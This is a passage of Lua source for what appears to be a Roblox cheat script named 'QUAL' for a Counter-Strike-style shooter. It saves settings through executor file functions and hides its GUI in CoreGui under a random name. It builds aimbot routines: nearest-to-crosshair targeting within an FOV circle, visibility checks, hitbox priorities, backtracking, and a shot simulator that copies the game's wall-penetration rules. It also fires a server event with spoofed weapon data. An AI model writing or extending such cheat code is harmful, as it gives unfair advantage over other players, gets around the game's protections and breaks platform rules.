  818. ["RightFoot"] = "RightFoot"
  819. }
  820.  
  821. local BacktrackThing = {}
  822.  
  823. local Services = {
  824. Players = game:GetService("Players"),
  825. RunService = game:GetService("RunService"),
  826. CoreGui = game:GetService("CoreGui"),
  827. StarterGui = game:GetService("StarterGui"),
  828. Lighting = game:GetService("Lighting"),
  829. UserInputService = game:GetService("UserInputService"),
  830. HttpService = game:GetService("HttpService"),
  831. ReplicatedStorage = game:GetService("ReplicatedStorage"),
  832. TweenService = game:GetService("TweenService"),
  833. Debris = game:GetService("Debris"),
  834. GuiService = game:GetService("GuiService"),
  835. }
  836.  
  837. local JSONData
  838.  
  839. function pack(val)
  840. if typeof(val) == "Color3" then
  841. return {"breh", val.r, val.g, val.b}
  842. end
  843. if typeof(val) == "table" then
  844. for i,v in pairs(val) do
  845. val[i] = pack(v)
  846. end
  847. end
  848. return val
  849. end
  850.  
  851. local function deepCopy(original)
  852. local copy = {}
  853. for k, v in pairs(original) do
  854. -- as before, but if we find a table, make sure we copy that too
  855. if type(v) == "table" then
  856. v = deepCopy(v)
  857. end
  858. copy[k] = v
  859. end
  860. return copy
  861. end
  862.  
  863. function Save()
  864. local NS = pack(deepCopy(Settings))
  865. local JSONData = Services.HttpService:JSONEncode(NS)
  866. writefile("Qual.json", JSONData)
  867. end
  868.  
  869. function bunpack(val)
  870. if typeof(val) == "table" and val[1] == "breh" then
  871. return Color3.new(val[2], val[3], val[4])
  872. end
  873. if typeof(val) == "table" then
  874. for i,v in pairs(val) do
  875. val[i] = bunpack(v)
  876. end
  877. end
  878. return val
  879. end
  880.  
  881.  
  882. pcall(function()
  883. JSONData = readfile("Qual.json")
  884. end)
  885. if JSONData then
  886. local LUAData = Services.HttpService:JSONDecode(JSONData)
  887. Settings = bunpack(LUAData)
  888. print("[QUAL]: Loading from save..")
  889. else
  890. Save()
  891. print("[QUAL]: Creating new save data..")
  892. end
  893.  
  894. local Local = {
  895. Player = Services.Players.LocalPlayer,
  896. Camera = workspace:FindFirstChildOfClass("Camera"),
  897. PlayerGui = nil,
  898. Mouse = nil,
  899. Game = nil
  900. }
  901.  
  902. local Events = Services.ReplicatedStorage.Events
  903.  
  904. local Weapons = {
  905. Pistols = {"USP", "P2000", "Glock", "DualBerettas", "P250", "FiveSeven", "Tec9", "CZ", "DesertEagle", "R8"},
  906. SMGs = {"MP9", "MAC10", "MP7", "UMP", "P90", "Bizon"},
  907. Rifles = {"M4A4", "M4A1", "AK47", "Famas", "Galil", "AUG"},
  908. AWP = {"AWP"},
  909. Scout = {"Scout", "SG"},
  910. Autosnipers = {"G3SG1"},
  911. Heavies = {"M249", "Negev"},
  912. Shotguns = {"XM", "Nova", "MAG7", "SawedOff"},
  913. AllWeapons = {"USP","P2000","Glock","DualBerettas","P250","FiveSeven","Tec9","CZ","DesertEagle","R8","MP9","MAC10","MP7","UMP","P90","Bizon","M4A4","M4A1","AK47","Famas","Galil","AUG","Scout","SG","AWP","SCAR20","G3SG1","M249","Negev","XM","Nova","MAG7","SawedOff"},
  914. Types = {"Pistols", "SMGs", "Rifles", "AWP", "Autosnipers", "Scout", "Heavies", "Shotguns"},
  915. Path = Services.ReplicatedStorage:FindFirstChild("Weapons"),
  916. }
  917.  
  918. local Materials = {
  919. "ForceField",
  920. "Plastic",
  921. "Wood",
  922. "Slate",
  923. "Concrete",
  924. "CorrodedMetal",
  925. "DiamondPlate",
  926. "Foil",
  927. "Grass",
  928. "Ice",
  929. "Marble",
  930. "Granite",
  931. "Brick",
  932. "Pebble",
  933. "Sand",
  934. "Fabric",
  935. "SmoothPlastic",
  936. "Metal",
  937. "WoodPlanks",
  938. "Cobblestone",
  939. "Neon",
  940. "Glass",
  941. }
  942.  
  943. local Animations = {
  944. "Fire",
  945. "Fire2",
  946. "Reload",
  947. "Stab",
  948. "Reload1",
  949. "Reload2",
  950. "Inspect",
  951. "Apply",
  952. "Remove",
  953. "StopFire"
  954. }
  955.  
  956. local Hitsounds = {
  957. TF2 = 3455144981,
  958. TF2_Squasher = 3466981613,
  959. TF2_Retro = 3466984142,
  960. TF2_Beepo = 3466987025,
  961. TF2_Percussion = 3466985670,
  962. TF2_Space = 3466982899,
  963. TF2_Vortex = 3466980212,
  964. TF2_Electro = 3458224686,
  965. TF2_Note = 3466988045,
  966. TF2_Panhit = 3431749479,
  967. Body = 3213738472,
  968. Body2 = 2729036768,
  969. Thud = 3213739706,
  970. Clink = 1347140027,
  971. Skeet = 3124869783
  972. }
  973.  
  974. local HitsoundsTable = {
  975. "Skeet",
  976. "TF2",
  977. "TF2_Squasher",
  978. "TF2_Retro",
  979. "TF2_Beepo",
  980. "TF2_Percussion",
  981. "TF2_Space",
  982. "TF2_Vortex",
  983. "TF2_Electro",
  984. "TF2_Note",
  985. "TF2_Panhit",
  986. "Body",
  987. "Body2",
  988. "Thud",
  989. "Clink"
  990. }
  991.  
  992. local Skyboxes = {
  993. ["Alien Red (Nostalgia)"] = {
  994. SkyboxLf = "http://www.roblox.com/asset/?version=1&id=1012889",
  995. SkyboxBk = "http://www.roblox.com/asset/?version=1&id=1012890",
  996. SkyboxDn = "http://www.roblox.com/asset/?version=1&id=1012891",
  997. SkyboxFt = "http://www.roblox.com/asset/?version=1&id=1012887",
  998. SkyboxLf = "http://www.roblox.com/asset/?version=1&id=1012889",
  999. SkyboxRt = "http://www.roblox.com/asset/?version=1&id=1012888",
  1000. SkyboxUp = "http://www.roblox.com/asset/?version=1&id=1014449",
  1001. StarCount = 3000,
  1002. SunAngularSize = 21
  1003. },
  1004. ["Cloudy Skies"] = {
  1005. SkyboxLf = "http://www.roblox.com/asset/?id=252760980",
  1006. SkyboxBk = "http://www.roblox.com/asset/?id=252760981",
  1007. SkyboxDn = "http://www.roblox.com/asset/?id=252763035",
  1008. SkyboxFt = "http://www.roblox.com/asset/?id=252761439",
  1009. SkyboxLf = "http://www.roblox.com/asset/?id=252760980",
  1010. SkyboxRt = "http://www.roblox.com/asset/?id=252760986",
  1011. SkyboxUp = "http://www.roblox.com/asset/?id=252762652",
  1012. StarCount = 3000,
  1013. SunAngularSize = 21
  1014. },
  1015. ["Counter Strike City"] = {
  1016. SkyboxLf = "rbxassetid://2240133550",
  1017. SkyboxBk = "rbxassetid://2240134413",
  1018. SkyboxDn = "rbxassetid://2240136039",
  1019. SkyboxFt = "rbxassetid://2240130790",
  1020. SkyboxLf = "rbxassetid://2240133550",
  1021. SkyboxRt = "rbxassetid://2240132643",
  1022. SkyboxUp = "rbxassetid://2240135222",
  1023. StarCount = 3000,
  1024. SunAngularSize = 0
  1025. },
  1026. ["Dark City"] = {
  1027. SkyboxLf = "rbxassetid://1424484951",
  1028. SkyboxBk = "rbxassetid://1424486234",
  1029. SkyboxDn = "rbxassetid://1424485998",
  1030. SkyboxFt = "rbxassetid://1424485697",
  1031. SkyboxLf = "rbxassetid://1424484951",
  1032. SkyboxRt = "rbxassetid://1424484760",
  1033. SkyboxUp = "rbxassetid://1424484510",
  1034. StarCount = 3000,
  1035. SunAngularSize = 21
  1036. },
  1037. ["Earth"] = {
  1038. SkyboxLf = "http://www.roblox.com/asset/?id=166510092",
  1039. SkyboxBk = "http://www.roblox.com/asset/?id=166509999",
  1040. SkyboxDn = "http://www.roblox.com/asset/?id=166510057",
  1041. SkyboxFt = "http://www.roblox.com/asset/?id=166510116",
  1042. SkyboxLf = "http://www.roblox.com/asset/?id=166510092",
  1043. SkyboxRt = "http://www.roblox.com/asset/?id=166510131",
  1044. SkyboxUp = "http://www.roblox.com/asset/?id=166510114",
  1045. StarCount = 0,
  1046. SunAngularSize = 21
  1047. },
  1048. ["Mountains By Crykee"] = {
  1049. SkyboxLf = "http://www.roblox.com/asset/?id=368390615",
  1050. SkyboxBk = "http://www.roblox.com/asset/?id=368385273",
  1051. SkyboxDn = "http://www.roblox.com/asset/?id=48015300",
  1052. SkyboxFt = "http://www.roblox.com/asset/?id=368388290",
  1053. SkyboxLf = "http://www.roblox.com/asset/?id=368390615",
  1054. SkyboxRt = "http://www.roblox.com/asset/?id=368385190",
  1055. SkyboxUp = "http://www.roblox.com/asset/?id=48015387",
  1056. StarCount = 3000,
  1057. SunAngularSize = 21
  1058. },
  1059. ["Old Skybox"] = {
  1060. SkyboxLf = "http://www.roblox.com/asset/?id=15437157",
  1061. SkyboxBk = "http://www.roblox.com/asset/?id=15436783",
  1062. SkyboxDn = "http://www.roblox.com/asset/?id=15436796",
  1063. SkyboxFt = "http://www.roblox.com/asset/?id=15436831",
  1064. SkyboxLf = "http://www.roblox.com/asset/?id=15437157",
  1065. SkyboxRt = "http://www.roblox.com/asset/?id=15437166",
  1066. SkyboxUp = "http://www.roblox.com/asset/?id=15437184",
  1067. StarCount = 3000,
  1068. SunAngularSize = 21
  1069. },
  1070. ["Purple Clouds"] = {
  1071. SkyboxLf = "http://www.roblox.com/asset/?id=570557620",
  1072. SkyboxBk = "http://www.roblox.com/asset/?id=570557514",
  1073. SkyboxDn = "http://www.roblox.com/asset/?id=570557775",
  1074. SkyboxFt = "http://www.roblox.com/asset/?id=570557559",
  1075. SkyboxLf = "http://www.roblox.com/asset/?id=570557620",
  1076. SkyboxRt = "http://www.roblox.com/asset/?id=570557672",
  1077. SkyboxUp = "http://www.roblox.com/asset/?id=570557727",
  1078. StarCount = 3000,
  1079. SunAngularSize = 21
  1080. },
  1081. ["Purple Nebula"] = {
  1082. SkyboxLf = "http://www.roblox.com/asset/?id=159454286",
  1083. SkyboxBk = "http://www.roblox.com/asset/?id=159454299",
  1084. SkyboxDn = "http://www.roblox.com/asset/?id=159454296",
  1085. SkyboxFt = "http://www.roblox.com/asset/?id=159454293",
  1086. SkyboxLf = "http://www.roblox.com/asset/?id=159454286",
  1087. SkyboxRt = "http://www.roblox.com/asset/?id=159454300",
  1088. SkyboxUp = "http://www.roblox.com/asset/?id=159454288",
  1089. StarCount = 0,
  1090. SunAngularSize = 21
  1091. },
  1092. ["Red Sky"] = {
  1093. SkyboxLf = "http://www.roblox.com/Asset/?ID=401664881",
  1094. SkyboxBk = "http://www.roblox.com/Asset/?ID=401664839",
  1095. SkyboxDn = "http://www.roblox.com/Asset/?ID=401664862",
  1096. SkyboxFt = "http://www.roblox.com/Asset/?ID=401664960",
  1097. SkyboxLf = "http://www.roblox.com/Asset/?ID=401664881",
  1098. SkyboxRt = "http://www.roblox.com/Asset/?ID=401664901",
  1099. SkyboxUp = "http://www.roblox.com/Asset/?ID=401664936",
  1100. StarCount = 0,
  1101. SunAngularSize = 21
  1102. },
  1103. ["Shrek"] = {
  1104. SkyboxLf = "rbxassetid://198329363",
  1105. SkyboxBk = "rbxassetid://198329363",
  1106. SkyboxDn = "rbxassetid://198329363",
  1107. SkyboxFt = "rbxassetid://198329363",
  1108. SkyboxLf = "rbxassetid://198329363",
  1109. SkyboxRt = "rbxassetid://198329363",
  1110. SkyboxUp = "rbxassetid://198329363",
  1111. StarCount = 0,
  1112. SunAngularSize = 21
  1113. },
  1114. ["Stormy Sky"] = {
  1115. SkyboxLf = "http://www.roblox.com/asset/?version=1&id=1327363",
  1116. SkyboxBk = "http://www.roblox.com/asset/?version=1&id=1327366",
  1117. SkyboxDn = "http://www.roblox.com/asset/?version=1&id=1327367",
  1118. SkyboxFt = "http://www.roblox.com/asset/?version=1&id=1327362",
  1119. SkyboxLf = "http://www.roblox.com/asset/?version=1&id=1327363",
  1120. SkyboxRt = "http://www.roblox.com/asset/?version=1&id=1327361",
  1121. SkyboxUp = "http://www.roblox.com/asset/?version=1&id=1327368",
  1122. StarCount = 3000,
  1123. SunAngularSize = 21
  1124. },
  1125. ["Twilight"] = {
  1126. SkyboxLf = "rbxassetid://264909758",
  1127. SkyboxBk = "rbxassetid://264908339",
  1128. SkyboxDn = "rbxassetid://264907909",
  1129. SkyboxFt = "rbxassetid://264909420",
  1130. SkyboxLf = "rbxassetid://264909758",
  1131. SkyboxRt = "rbxassetid://264908886",
  1132. SkyboxUp = "rbxassetid://264907379",
  1133. StarCount = 3000,
  1134. SunAngularSize = 21
  1135. },
  1136. ["Vaporwave Colors"] = {
  1137. SkyboxLf = "rbxassetid://1417494402",
  1138. SkyboxBk = "rbxassetid://1417494030",
  1139. SkyboxDn = "rbxassetid://1417494146",
  1140. SkyboxFt = "rbxassetid://1417494253",
  1141. SkyboxLf = "rbxassetid://1417494402",
  1142. SkyboxRt = "rbxassetid://1417494499",
  1143. SkyboxUp = "rbxassetid://1417494643",
  1144. StarCount = 3000,
  1145. SunAngularSize = 21
  1146. },
  1147. ["Vivid Skies"] = {
  1148. SkyboxLf = "rbxassetid://2800902328",
  1149. SkyboxBk = "rbxassetid://2800905936",
  1150. SkyboxDn = "rbxassetid://2800905936",
  1151. SkyboxFt = "rbxassetid://2800905116",
  1152. SkyboxLf = "rbxassetid://2800902328",
  1153. SkyboxRt = "rbxassetid://2800903916",
  1154. SkyboxUp = "rbxassetid://2800906739",
  1155. StarCount = 3000,
  1156. SunAngularSize = 21
  1157. },
  1158. ["Wasteland"] = {
  1159. SkyboxLf = "rbxassetid://2046135392",
  1160. SkyboxBk = "rbxassetid://2046134302",
  1161. SkyboxDn = "rbxassetid://2046134976",
  1162. SkyboxFt = "rbxassetid://2046135977",
  1163. SkyboxLf = "rbxassetid://2046135392",
  1164. SkyboxRt = "rbxassetid://2046136939",
  1165. SkyboxUp = "rbxassetid://2046136551",
  1166. StarCount = 3000,
  1167. SunAngularSize = 21
  1168. },
  1169. }
  1170.  
  1171. local SkyboxesTable = {
  1172. "None",
  1173. "Alien Red (Nostalgia)",
  1174. "Cloudy Skies",
  1175. "Counter Strike City",
  1176. "Dark City",
  1177. "Earth",
  1178. "Mountains By Crykee",
  1179. "Old Skybox",
  1180. "Purple Clouds",
  1181. "Purple Nebula",
  1182. "Red Sky",
  1183. "Shrek",
  1184. "Stormy Sky",
  1185. "Twilight",
  1186. "Vaporwave Colors",
  1187. "Vivid Skies",
  1188. "Wasteland"
  1189. }
  1190.  
  1191. local fakeCFrame = nil
  1192.  
  1193. local Startsounds = {
  1194. Default = 2668759868,
  1195. Windows_95 = 265193160,
  1196. Windows_XP = 4503772106,
  1197. Windows_2000 = 130945434
  1198. }
  1199.  
  1200. local SkinClicked = nil
  1201.  
  1202. local function RandomCharGenerator(Length)
  1203. local tb = {}
  1204. for i = 1, Length do
  1205. tb[i] = string.char(math.random(0, 100))
  1206. end
  1207. return table.concat(tb)
  1208. end
  1209.  
  1210. local Ace = Instance.new("ScreenGui", Services.CoreGui)
  1211. Ace.Name = RandomCharGenerator(20)
  1212.  
  1213. local DaFrame = Instance.new("Frame")
  1214. local UIListLayoute = Instance.new("UIListLayout")
  1215.  
  1216. DaFrame.Parent = Ace
  1217. DaFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  1218. DaFrame.BackgroundTransparency = 1.000
  1219. DaFrame.Position = UDim2.new(0.00506471563, 0, 0, 0)
  1220. DaFrame.Size = UDim2.new(0, 91, 0, 100)
  1221.  
  1222. UIListLayoute.Parent = DaFrame
  1223. UIListLayoute.SortOrder = Enum.SortOrder.LayoutOrder
  1224.  
  1225. Weapons.Old = Weapons.Path:Clone()
  1226.  
  1227. local Backtrack = Instance.new("Model", workspace)
  1228. local BacktrackSample = game:GetObjects("rbxassetid://4707836033")[1]
  1229.  
  1230. local S = Services.RunService.Stepped
  1231.  
  1232. Local.Mouse = Local.Player:GetMouse()
  1233. Local.PlayerGui = Local.Player.PlayerGui
  1234. Local.Game = getsenv(Local.PlayerGui.Client)
  1235. Local.Chat = getsenv(Local.PlayerGui.GUI.Main.Chats.DisplayChat)
  1236. Local.Game.resetinspect = true
  1237.  
  1238. function CreateFOV()
  1239. local Circle = Drawing.new("Circle")
  1240. S:connect(function()
  1241. Circle.Position = Services.UserInputService:GetMouseLocation()
  1242. end)
  1243. return Circle
  1244. end
  1245.  
  1246. Storage["RageCircle"] = CreateFOV()
  1247. Storage["LegitCircle"] = CreateFOV()
  1248.  
  1249. local tsp = Vector2.new(Local.Camera.ViewportSize.X / 2, Local.Camera.ViewportSize.Y)
  1250.  
  1251. local Skybox = Instance.new("Sky")
  1252.  
  1253. function Whizz(v)
  1254. Events.Whizz:FireServer(v, Weapons.Path.AWP)
  1255. end
  1256.  
  1257. function Rainbow(speed, saturation, brightness)
  1258. if speed == nil then
  1259. speed = 3
  1260. end
  1261. if saturation == nil then
  1262. saturation = 0.5
  1263. end
  1264. if brightness == nil then
  1265. brightness = 1
  1266. end
  1267. return Color3.fromHSV(math.sin((tick() / (3/speed)) % 1), saturation, brightness)
  1268. end
  1269.  
  1270. PlayerListInfo = {}
  1271.  
  1272. function GetDistanceSq(v1, v2) -- yeah optimization
  1273. local a = v2.x - v1.x
  1274. local b = v2.y - v1.y
  1275. return (a*a) + (b*b)
  1276. end
  1277.  
  1278. function GetDistanceSq3(v1, v2) -- yeah optimization
  1279. local a = v2.x - v1.x
  1280. local b = v2.y - v1.y
  1281. local c = v2.z - v1.z
  1282. return a*a + b*b + c*c
  1283. end
  1284.  
  1285. local PlaySound = function(Sound, Time)
  1286. if Time == nil then
  1287. Time = 0
  1288. end
  1289. spawn(function()
  1290. local s = Instance.new("Sound")
  1291. s.Parent = workspace
  1292. s.SoundId = "rbxassetid://"..tostring(Sound)
  1293. s.Volume = 4
  1294. s:Play()
  1295. wait(2)
  1296. s:Destroy()
  1297. end)
  1298. end
  1299.  
  1300. local AimbotFunctions = {}
  1301.  
  1302. AimbotFunctions.getAimCorners = function(obj, size)
  1303. local corners = {
  1304. Vector3.new(obj.X+size.X/2, obj.Y+size.Y/2, obj.Z), -- top left
  1305. Vector3.new(obj.X-size.X/2, obj.Y+size.Y/2, obj.Z), -- top right
  1306.  
  1307. Vector3.new(obj.X+size.X/2, obj.Y-size.Y/2, obj.Z), -- bottom left
  1308. Vector3.new(obj.X-size.X/2, obj.Y-size.Y/2, obj.Z), -- bottom right
  1309. }
  1310. return corners
  1311. end
  1312.  
  1313. AimbotFunctions.getAimpoints = function(c)
  1314. local aimpoints = {}
  1315. if c:FindFirstChild("HeadHB") then
  1316. table.insert(aimpoints, c.HeadHB.Position)
  1317. end
  1318.  
  1319. table.insert(aimpoints, c.UpperTorso.Position)
  1320.  
  1321. table.insert(aimpoints, c.LeftUpperArm.Position)
  1322. table.insert(aimpoints, c.RightUpperArm.Position)
  1323.  
  1324. table.insert(aimpoints, c.LeftUpperLeg.Position)
  1325. table.insert(aimpoints, c.RightUpperLeg.Position)
  1326.  
  1327. return aimpoints
  1328. end
  1329.  
  1330. AimbotFunctions.getRealCameraVector = function(v)
  1331. return v.HumanoidRootPart.CFrame.p + v.Humanoid.CameraOffset + Vector3.new(0, 1.5, 0)
  1332. end
  1333.  
  1334. AimbotFunctions.getCorners = function(obj, size)
  1335. local corners = {
  1336. Vector3.new(obj.X+size.X/2, obj.Y+size.Y/2, obj.Z+size.Z/2);
  1337. Vector3.new(obj.X-size.X/2, obj.Y+size.Y/2, obj.Z+size.Z/2);
  1338.  
  1339. Vector3.new(obj.X-size.X/2, obj.Y-size.Y/2, obj.Z-size.Z/2);
  1340. Vector3.new(obj.X+size.X/2, obj.Y-size.Y/2, obj.Z-size.Z/2);
  1341.  
  1342. Vector3.new(obj.X-size.X/2, obj.Y+size.Y/2, obj.Z-size.Z/2);
  1343. Vector3.new(obj.X+size.X/2, obj.Y+size.Y/2, obj.Z-size.Z/2);
  1344.  
  1345. Vector3.new(obj.X-size.X/2, obj.Y-size.Y/2, obj.Z+size.Z/2);
  1346. Vector3.new(obj.X+size.X/2, obj.Y-size.Y/2, obj.Z+size.Z/2);
  1347. }
  1348. return corners
  1349. end
  1350.  
  1351. AimbotFunctions.VectorVisible = function(vector, v)
  1352. local snapshot = Instance.new("Camera")
  1353. snapshot.CFrame = CFrame.new(Local.Player.Character.Head.Position, vector)
  1354. local ignorelist = {Local.Camera, snapshot, Local.Player.Character, v.Character, Backtrack}
  1355. local parts = snapshot:GetPartsObscuringTarget({vector}, ignorelist)
  1356. snapshot:Destroy()
  1357. return #parts == 0
  1358. end
  1359.  
  1360. local HitboxPriorities = {
  1361. Head = 4,
  1362. Torso = 3,
  1363. LeftArm = 2,
  1364. RightArm = 2,
  1365. LeftLeg = 1,
  1366. RightLeg = 1
  1367. }
  1368.  
  1369. newclose = newcclosure or function(f) return f end
  1370.  
  1371. local ToSimplified = {
  1372. ["LeftHand"] = "LeftArm",
  1373. ["LeftLowerArm"] = "LeftArm",
  1374. ["LeftUpperArm"] = "LeftArm",
  1375. ["RightHand"] = "RightArm",
  1376. ["RightLowerArm"] = "RightArm",
  1377. ["RightUpperArm"] = "RightArm",
  1378. ["HeadHB"] = "Head",
  1379. ["UpperTorso"] = "Torso",
  1380. ["LowerTorso"] = "Torso",
  1381. ["LeftFoot"] = "LeftLeg",
  1382. ["LeftLowerLeg"] = "LeftLeg",
  1383. ["LeftUpperLeg"] = "LeftLeg",
  1384. ["RightFoot"] = "RightLeg",
  1385. ["RightLowerLeg"] = "RightLeg",
  1386. ["RightUpperLeg"] = "RightLeg"
  1387. }
  1388.  
  1389. local FromSimplified = {
  1390. ["LeftArm"] = "LeftLowerArm",
  1391. ["RightArm"] = "RightLowerArm",
  1392. ["Head"] = "HeadHB",
  1393. ["Torso"] = "UpperTorso",
  1394. ["LeftLeg"] = "LeftUpperLeg",
  1395. ["RightLeg"] = "RightUpperLeg"
  1396. }
  1397.  
  1398. AimbotFunctions.GetClosestToCrosshair = function(stat)
  1399. local target = nil;
  1400. local distance = math.huge
  1401. for _,v in pairs(Services.Players:GetPlayers()) do
  1402. if v:FindFirstChild("CameraCF") and v:FindFirstChild("Status") and v.Status:FindFirstChild("Alive") and v.Status.Alive.Value and v.Team ~= Local.Player.Team then
  1403. local Mouse = Local.Mouse
  1404. local stat = getStatus(v)
  1405. if stat == "Friend" then return end
  1406. stat = Settings[stat]
  1407. local worldPoint = v.CameraCF.Value.p
  1408. local vector, onScreen = Local.Camera:WorldToScreenPoint(worldPoint)
  1409. local magnitude = GetDistanceSq(Vector2.new(Mouse.X, Mouse.Y), Vector2.new(vector.X, vector.Y))
  1410. if onScreen and magnitude < distance and (magnitude < stat.FOVpx*stat.FOVpx or stat.FOVlim) then
  1411. distance = magnitude
  1412. target = v
  1413. end
  1414. end
  1415. end
  1416. return target
  1417. end
  1418.  
  1419. hammerunit2stud = 0.0694
  1420.  
  1421. AimbotFunctions.SimulateShot = function(cf, c)
  1422. local range
  1423. local penetrationpower
  1424. local gun = Local.Game.gun
  1425. if gun:FindFirstChild("Range") then
  1426. range = gun.Range.Value
  1427. end
  1428. if gun:FindFirstChild("Penetration") then
  1429. penetrationpower = gun.Penetration.Value * 0.01
  1430. end
  1431. local firerate
  1432. if gun:FindFirstChild("FireRate") then
  1433. firerate = gun.FireRate.Value
  1434. end
  1435. if gun:FindFirstChild("Melee") then
  1436. range = 64
  1437. if Local.Game.Held2 == true then
  1438. firerate = 1
  1439. range = 48
  1440. end
  1441. end
  1442. local tinsert = table.insert
  1443. local hitlist = {
  1444. workspace.Debris,
  1445. Local.Player.Character,
  1446. workspace.Ray_Ignore,
  1447. Local.Camera,
  1448. workspace.Map:WaitForChild("Clips"),
  1449. workspace.Map:WaitForChild("SpawnPoints")
  1450. }
  1451. local crud = game.Players:GetPlayers()
  1452. for i = 1, #crud do
  1453. if crud[i].Name ~= Local.Player.Name and crud[i].Character and crud[i].Character:FindFirstChild("UpperTorso") then
  1454. if crud[i] and crud[i].Character:FindFirstChild("HumanoidRootPart") then
  1455. tinsert(hitlist, crud[i].Character.HumanoidRootPart)
  1456. end
  1457. if crud[i] and crud[i].Character:FindFirstChild("Head") then
  1458. tinsert(hitlist, crud[i].Character.Head)
  1459. end
  1460. if crud[i] and crud[i].Character:FindFirstChild("Hat1") then
  1461. tinsert(hitlist, crud[i].Character.Hat1)
  1462. end
  1463. if crud[i] and crud[i].Character:FindFirstChild("Hat2") then
  1464. tinsert(hitlist, crud[i].Character.Hat2)
  1465. end
  1466. if crud[i] and crud[i].Character:FindFirstChild("Hat3") then
  1467. tinsert(hitlist, crud[i].Character.Hat3)
  1468. end
  1469. if crud[i] and crud[i].Character:FindFirstChild("Hat4") then
  1470. tinsert(hitlist, crud[i].Character.Hat4)
  1471. end
  1472. if crud[i] and crud[i].Character:FindFirstChild("Hat5") then
  1473. tinsert(hitlist, crud[i].Character.Hat5)
  1474. end
  1475. if crud[i] and crud[i].Character:FindFirstChild("Hat6") then
  1476. tinsert(hitlist, crud[i].Character.Hat6)
  1477. end
  1478. if crud[i] and crud[i].Character:FindFirstChild("Hat7") then
  1479. tinsert(hitlist, crud[i].Character.Hat7)
  1480. end
  1481. if crud[i] and crud[i].Character:FindFirstChild("Hat8") then
  1482. tinsert(hitlist, crud[i].Character.Hat8)
  1483. end
  1484. if crud[i] and crud[i].Character:FindFirstChild("Hat9") then
  1485. tinsert(hitlist, crud[i].Character.Hat9)
  1486. end
  1487. if crud[i] and crud[i].Character:FindFirstChild("Hat10") then
  1488. tinsert(hitlist, crud[i].Character.Hat10)
  1489. end
  1490. if crud[i] and crud[i].Character:FindFirstChild("Hat11") then
  1491. tinsert(hitlist, crud[i].Character.Hat11)
  1492. end
  1493. if crud[i] and crud[i].Character:FindFirstChild("Hat12") then
  1494. tinsert(hitlist, crud[i].Character.Hat12)
  1495. end
  1496. if crud[i] and crud[i].Character:FindFirstChild("Hat13") then
  1497. tinsert(hitlist, crud[i].Character.Hat13)
  1498. end
  1499. if crud[i] and crud[i].Character:FindFirstChild("Hat14") then
  1500. tinsert(hitlist, crud[i].Character.Hat14)
  1501. end
  1502. if crud[i] and crud[i].Character:FindFirstChild("Hat15") then
  1503. tinsert(hitlist, crud[i].Character.Hat15)
  1504. end
  1505. if crud[i] and crud[i].Character:FindFirstChild("DKit") then
  1506. tinsert(hitlist, crud[i].Character.DKit)
  1507. end
  1508. if crud[i] and crud[i].Character:FindFirstChild("Gun") then
  1509. tinsert(hitlist, crud[i].Character.Gun)
  1510. end
  1511. if crud[i] and crud[i].Character:FindFirstChild("Gun2") then
  1512. tinsert(hitlist, crud[i].Character.Gun2)
  1513. end
  1514. end
  1515. end
  1516. local direction = Vector3.new()
  1517. local Mouse = cf.p + cf.lookVector * 999
  1518. direction = (CFrame.new(cf.p, Mouse)).lookVector.unit * range * hammerunit2stud
  1519. if Local.Game.equipped ~= "melee" then
  1520. direction = cf.lookVector.unit * range * hammerunit2stud
  1521. end
  1522. local RayCasted = Ray.new(cf.p, direction)
  1523. local partpenetrated = 0
  1524. local limit = 0
  1525. local PartHit, PositionHit, NormalHit
  1526. local partmodifier = 1
  1527. local damagemodifier = 1
  1528. repeat
  1529. PartHit, PositionHit, NormalHit = workspace:FindPartOnRayWithIgnoreList(RayCasted, hitlist, false, true)
  1530. if PartHit and PartHit.Parent then
  1531. partmodifier = 1
  1532. if PartHit.Material == Enum.Material.DiamondPlate then
  1533. partmodifier = 3
  1534. end
  1535. if PartHit.Material == Enum.Material.CorrodedMetal or PartHit.Material == Enum.Material.Metal or PartHit.Material == Enum.Material.Concrete or PartHit.Material == Enum.Material.Brick then
  1536. partmodifier = 2
  1537. end
  1538. if PartHit.Name == "Grate" or PartHit.Material == Enum.Material.Wood or PartHit.Material == Enum.Material.WoodPlanks or PartHit and PartHit.Parent and PartHit.Parent:FindFirstChild("Humanoid") then
  1539. partmodifier = 0.1
  1540. end
  1541. if PartHit.Transparency == 1 or PartHit.CanCollide == false or PartHit.Name == "Glass" or PartHit.Name == "Cardboard" or PartHit:IsDescendantOf(workspace.Ray_Ignore) or PartHit:IsDescendantOf(workspace.Debris) or PartHit and PartHit.Parent and PartHit.Parent.Name == "Hitboxes" then
  1542. partmodifier = 0
  1543. end
  1544. if PartHit.Name == "nowallbang" then
  1545. partmodifier = 100
  1546. end
  1547. if PartHit:FindFirstChild("PartModifier") then
  1548. partmodifier = PartHit.PartModifier.Value
  1549. end
  1550. local fakehit, Endposition = workspace:FindPartOnRayWithWhitelist(Ray.new(PositionHit + direction * 1, direction * -2), {PartHit}, true)
  1551. local PenetrationDistance = (Endposition - PositionHit).magnitude
  1552. PenetrationDistance = PenetrationDistance * partmodifier
  1553. limit = math.min(penetrationpower, limit + PenetrationDistance)
  1554. local wallbang = false
  1555. if partpenetrated >= 1 then
  1556. wallbang = true
  1557. end
  1558. if PartHit and PartHit.Parent and PartHit.Parent.Name == "Hitboxes" or PartHit and PartHit.Parent.className == "Accessory" or PartHit and PartHit.Parent.className == "Hat" or PartHit.Name == "HumanoidRootPart" and PartHit.Parent.Name ~= "Door" or PartHit.Name == "Head" and PartHit.Parent:FindFirstChild("Hostage") == nil then
  1559. else
  1560. if PartHit and PartHit:IsDescendantOf(c) and PartHit.Transparency < 1 or PartHit.Name == "HeadHB" then
  1561. return PartHit, PositionHit, damagemodifier, wallbang
  1562. end
  1563. end
  1564. if partmodifier > 0 then
  1565. partpenetrated = partpenetrated + 1
  1566. end
  1567. damagemodifier = 1 - limit / penetrationpower
  1568. if PartHit and PartHit.Parent and PartHit.Parent.Name == "Hitboxes" or PartHit and PartHit.Parent and PartHit.Parent.Parent and PartHit.Parent.Parent:FindFirstChild("Humanoid2") or PartHit and PartHit.Parent and PartHit.Parent:FindFirstChild("Humanoid2") or PartHit and PartHit.Parent and PartHit.Parent:FindFirstChild("Humanoid") and (1 > PartHit.Transparency or PartHit.Name == "HeadHB") and PartHit.Parent:IsA("Model") then
  1569. table.insert(hitlist, PartHit.Parent)
  1570. else
  1571. table.insert(hitlist, PartHit)
  1572. end
  1573. end
  1574. until PartHit == nil or limit >= penetrationpower or partpenetrated >= 4 or 0 >= damagemodifier
  1575. end
  1576.  
  1577. --[[
